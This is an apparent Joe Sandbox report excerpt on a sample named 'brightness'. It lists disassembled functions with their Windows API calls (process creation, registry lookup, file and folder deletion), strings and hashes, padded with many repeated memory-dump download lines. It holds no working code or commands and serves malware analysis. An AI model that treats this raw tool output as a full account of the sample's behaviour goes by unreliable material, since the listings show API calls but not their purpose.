Associated: 00000005.00000002.1897783119.0000000000559000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897811200.0000000000565000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897881697.0000000000566000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897936270.0000000000571000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898154033.00000000005A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898314115.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898355775.00000000005B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898373213.00000000005B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898520113.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2c0000_brightness.jbxd

Yara matches

Similarity

API ID: Local$Free$Alloc$wnsprintf$FolderKnownPathTask_memmove
String ID:
API String ID: 1937843059-0
Opcode ID: 1a0e3737c680986749e6776640887954622d41951878312f84f7eb43b6737dff
Instruction ID: c6154ab6fe01daebd009b635365a4cea9e1d55b79d783e8bed60666f8a36beef
Opcode Fuzzy Hash: 1a0e3737c680986749e6776640887954622d41951878312f84f7eb43b6737dff
Instruction Fuzzy Hash: 45610975D102099BDB09DFA4D889FEEBBB5BF48305F148529E605BB280CB759A90CF60

Function 002CA550 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 86memoryprocessCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 002CA560
GetSystemDirectoryW.KERNEL32(00000000,00007FFF), ref: 002CA57C
LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 002CA591
__snwprintf.LIBCMT ref: 002CA5DD
_memset.LIBCMT ref: 002CA5F0
CreateProcessW.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000044,?), ref: 002CA637
LocalFree.KERNEL32(00000000), ref: 002CA646
LocalFree.KERNEL32(00000000), ref: 002CA650
LocalFree.KERNEL32(00000000), ref: 002CA661
LocalFree.KERNEL32(00000000), ref: 002CA66B

Strings

D, xrefs: 002CA5F8

Memory Dump Source

Source File: 00000005.00000002.1896378381.00000000002C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000005.00000002.1896352252.00000000002C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.00000000002FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.0000000000336000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896564887.0000000000340000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896659183.0000000000341000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896741059.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896864784.000000000034E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897169354.00000000004A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897192285.00000000004A7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897287254.00000000004DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897311500.00000000004E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897331050.00000000004E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897352309.00000000004E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897378643.00000000004FD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897433651.00000000004FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897453743.0000000000505000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897503437.0000000000510000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897548280.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897625351.000000000053A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897652803.000000000053B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897709201.0000000000540000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897751930.0000000000557000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897783119.0000000000559000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897811200.0000000000565000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897881697.0000000000566000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897936270.0000000000571000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898154033.00000000005A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898314115.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898355775.00000000005B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898373213.00000000005B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898520113.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2c0000_brightness.jbxd

Yara matches

Similarity

API ID: Local$Free$Alloc$CreateDirectoryProcessSystem__snwprintf_memset
String ID: D
API String ID: 3926260567-2746444292
Opcode ID: dbf59a705f2eb59e5f6ad317eb76f974c60a13bbe1dcc8839c1dbc08b84d33cd
Instruction ID: 55a537289817728c66d342a13c6b5f7b9b659fd034f2c761b802a0ce8081087a
Opcode Fuzzy Hash: dbf59a705f2eb59e5f6ad317eb76f974c60a13bbe1dcc8839c1dbc08b84d33cd
Instruction Fuzzy Hash: 353132B5A60208BBDB10DBA4DC89FEDBB7DAF48700F104698F605AB2D0DA755A84CB51

Function 002C9670 Relevance: 19.3, APIs: 9, Strings: 2, Instructions: 86registryCOMMON

Download Yara Rule

APIs

Part of subcall function 002C81C0: LocalAlloc.KERNEL32(00000040,0000FFFE,?,?,002C8D2B,002D6B10,00000000), ref: 002C81EB
Part of subcall function 002C81C0: LocalAlloc.KERNEL32(00000040,0000FFFE,?,?,002C8D2B), ref: 002C8205
Part of subcall function 002C81C0: wnsprintfW.SHLWAPI ref: 002C8235
Part of subcall function 002C81C0: wnsprintfW.SHLWAPI ref: 002C8251
Part of subcall function 002C81C0: LocalFree.KERNEL32(00000000), ref: 002C8A43

Part of subcall function 002C1C60: _wcsrchr.LIBCMT ref: 002C1C6C

_memset.LIBCMT ref: 002C96E5
__snwprintf.LIBCMT ref: 002C9703
RegOpenKeyExW.ADVAPI32(80000001,?,00000000,000F013F,?), ref: 002C9722
RegQueryValueExW.ADVAPI32(?,00000000,00000000,00000003,00000000,00000000), ref: 002C974B
RegCloseKey.ADVAPI32(?), ref: 002C9759
LocalFree.KERNEL32(00000000), ref: 002C9763
LocalFree.KERNEL32(00000000), ref: 002C976D
LocalFree.KERNEL32(00000000), ref: 002C977E
LocalFree.KERNEL32(00000000), ref: 002C9788

Strings

SOFTWARE\%s, xrefs: 002C96F2
{E6A92BD6-A819-489E-9C8C-330F9E40F59F}, xrefs: 002C96ED

Memory Dump Source

Source File: 00000005.00000002.1896378381.00000000002C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000005.00000002.1896352252.00000000002C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.00000000002FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.0000000000336000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896564887.0000000000340000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896659183.0000000000341000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896741059.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896864784.000000000034E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897169354.00000000004A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897192285.00000000004A7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897287254.00000000004DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897311500.00000000004E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897331050.00000000004E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897352309.00000000004E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897378643.00000000004FD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897433651.00000000004FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897453743.0000000000505000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897503437.0000000000510000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897548280.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897625351.000000000053A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897652803.000000000053B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897709201.0000000000540000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897751930.0000000000557000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897783119.0000000000559000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897811200.0000000000565000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897881697.0000000000566000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897936270.0000000000571000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898154033.00000000005A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898314115.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898355775.00000000005B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898373213.00000000005B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898520113.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2c0000_brightness.jbxd

Yara matches

Similarity

API ID: Local$Free$Allocwnsprintf$CloseOpenQueryValue__snwprintf_memset_wcsrchr
String ID: SOFTWARE\%s${E6A92BD6-A819-489E-9C8C-330F9E40F59F}
API String ID: 1140279918-348793614
Opcode ID: 6f24103864bd27390a48697e87595a79538b86c90b750c9a070a16da6b696b32
Instruction ID: ba076e9d745678967aec4a1a2da909811ddd5cd470c81333ebe8371cec44d351
Opcode Fuzzy Hash: 6f24103864bd27390a48697e87595a79538b86c90b750c9a070a16da6b696b32
Instruction Fuzzy Hash: 2D3141B5A60208ABDB14DFA4DC89FEEB778EF48700F104598F605E7280DA759A94CF50

Function 002D2E00 Relevance: 19.3, APIs: 9, Strings: 2, Instructions: 83memoryCOMMON

Download Yara Rule

APIs

SHGetKnownFolderPath.SHELL32(002F7C00,00000000,00000000,002D5BB2,?,?,?,?,?,?,?,?,?,?,?,002D5BB2), ref: 002D2E13
LocalAlloc.KERNEL32(00000040,0000FFFE,?,?,?,?,?,?,?,?,?,?,?,002D5BB2), ref: 002D2E28
__snwprintf.LIBCMT ref: 002D2E61
_memset.LIBCMT ref: 002D2E97
GetFileAttributesW.KERNEL32(00000000), ref: 002D2EC0
SHFileOperationW.SHELL32(?), ref: 002D2ED7
LocalFree.KERNEL32(00000000), ref: 002D2EFD
CoTaskMemFree.COMBASE(002D5BB2), ref: 002D2F07

Strings

%s\%s, xrefs: 002D2E53
{6202BEAE-A066-4618-81CB-F198C1D22DC5}, xrefs: 002D2E4A

Memory Dump Source

Source File: 00000005.00000002.1896378381.00000000002C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000005.00000002.1896352252.00000000002C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.00000000002FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.0000000000336000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896564887.0000000000340000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896659183.0000000000341000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896741059.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896864784.000000000034E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897169354.00000000004A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897192285.00000000004A7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897287254.00000000004DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897311500.00000000004E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897331050.00000000004E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897352309.00000000004E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897378643.00000000004FD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897433651.00000000004FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897453743.0000000000505000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897503437.0000000000510000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897548280.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897625351.000000000053A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897652803.000000000053B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897709201.0000000000540000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897751930.0000000000557000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897783119.0000000000559000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897811200.0000000000565000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897881697.0000000000566000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897936270.0000000000571000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898154033.00000000005A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898314115.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898355775.00000000005B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898373213.00000000005B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898520113.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2c0000_brightness.jbxd

Yara matches

Similarity

API ID: FileFreeLocal$AllocAttributesFolderKnownOperationPathTask__snwprintf_memset
String ID: %s\%s${6202BEAE-A066-4618-81CB-F198C1D22DC5}
API String ID: 3175218009-1089993384
Opcode ID: 7dba43b39548965a396f8f046e366d7b9faea5ff9219353356ea7c60dda42412
Instruction ID: 0ee297be26b10fec00b93bb3b0a478428dd08b911e43132fadfa19c2fcb95794
Opcode Fuzzy Hash: 7dba43b39548965a396f8f046e366d7b9faea5ff9219353356ea7c60dda42412
Instruction Fuzzy Hash: D8318D74E10208EBDB04DFA4DC89BAEBB79EF58700F10856AF501A7390E7B0AA54CB50

Function 002CB5A0 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 80fileCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 002CB5C0
_memset.LIBCMT ref: 002CB5DF

Part of subcall function 002CFE20: SHGetKnownFolderPath.SHELL32(?,00000000,00000000,?), ref: 002CFE74
Part of subcall function 002CFE20: LocalAlloc.KERNEL32(00000040,?), ref: 002CFEB2
Part of subcall function 002CFE20: __snwprintf.LIBCMT ref: 002CFEDA
Part of subcall function 002CFE20: CoTaskMemFree.COMBASE(?), ref: 002CFEF5

__snwprintf.LIBCMT ref: 002CB626
__snwprintf.LIBCMT ref: 002CB64B
DeleteFileW.KERNEL32(?), ref: 002CB65A
RemoveDirectoryW.KERNEL32(00000000), ref: 002CB66C
LocalFree.KERNEL32(00000000), ref: 002CB67E
LocalFree.KERNEL32(00000000), ref: 002CB692
GetFileAttributesW.KERNEL32(?), ref: 002CB69F
GetFileAttributesW.KERNEL32(?), ref: 002CB6B5

Strings

%s%s, xrefs: 002CB63A

Memory Dump Source

Source File: 00000005.00000002.1896378381.00000000002C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000005.00000002.1896352252.00000000002C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.00000000002FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.0000000000336000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896564887.0000000000340000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896659183.0000000000341000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896741059.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896864784.000000000034E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897169354.00000000004A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897192285.00000000004A7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897287254.00000000004DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897311500.00000000004E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897331050.00000000004E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897352309.00000000004E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897378643.00000000004FD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897433651.00000000004FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897453743.0000000000505000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897503437.0000000000510000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897548280.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897625351.000000000053A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897652803.000000000053B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897709201.0000000000540000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897751930.0000000000557000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897783119.0000000000559000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897811200.0000000000565000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897881697.0000000000566000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897936270.0000000000571000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898154033.00000000005A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898314115.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898355775.00000000005B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898373213.00000000005B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898520113.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2c0000_brightness.jbxd

Yara matches

Similarity

API ID: FileFreeLocal__snwprintf$Attributes_memset$AllocDeleteDirectoryFolderKnownPathRemoveTask
String ID: %s%s
API String ID: 2613241912-3252725368
Opcode ID: 202e818fe29037d0f581b0cb4086827392d0d25def5a80a1b625399de92db0b3
Instruction ID: b0ac700a80483af0461ee2eccc54c35a165c8657d77558129be66507d64d8e51
Opcode Fuzzy Hash: 202e818fe29037d0f581b0cb4086827392d0d25def5a80a1b625399de92db0b3
Instruction Fuzzy Hash: 282195719A02185BCB51D760DCCEFE97339AF58301F900AD8F219A61D1EBB19ED48FA0

Function 002E2450 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 76memoryCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 002E2466
CoCreateGuid.COMBASE(c .), ref: 002E2478
StringFromGUID2.COMBASE(c .,?,00000027), ref: 002E2490
LocalAlloc.KERNEL32(00000040,00000068), ref: 002E24B8
und_memcpy.LIBCMTD ref: 002E2505
LocalFree.KERNEL32(00000000), ref: 002E2511
CoUninitialize.COMBASE ref: 002E2517
CoUninitialize.COMBASE ref: 002E2524

Strings

c ., xrefs: 002E2474, 002E248C, 002E2477, 002E248F
c ., xrefs: 002E24D3, 002E24D8

Memory Dump Source

Source File: 00000005.00000002.1896378381.00000000002C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000005.00000002.1896352252.00000000002C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.00000000002FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.0000000000336000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896564887.0000000000340000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896659183.0000000000341000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896741059.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896864784.000000000034E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897169354.00000000004A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897192285.00000000004A7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897287254.00000000004DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897311500.00000000004E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897331050.00000000004E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897352309.00000000004E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897378643.00000000004FD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897433651.00000000004FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897453743.0000000000505000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897503437.0000000000510000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897548280.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897625351.000000000053A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897652803.000000000053B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897709201.0000000000540000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897751930.0000000000557000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897783119.0000000000559000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897811200.0000000000565000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897881697.0000000000566000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897936270.0000000000571000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898154033.00000000005A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898314115.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898355775.00000000005B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898373213.00000000005B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898520113.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2c0000_brightness.jbxd

Yara matches

Similarity

API ID: LocalUninitialize$AllocCreateFreeFromGuidInitializeStringund_memcpy
String ID: c .$c .
API String ID: 1042734605-1929148712
Opcode ID: 455c1576c4d92dc738d5dd7d7edb74f9bbfac318fe1008190372ce88718e9c26
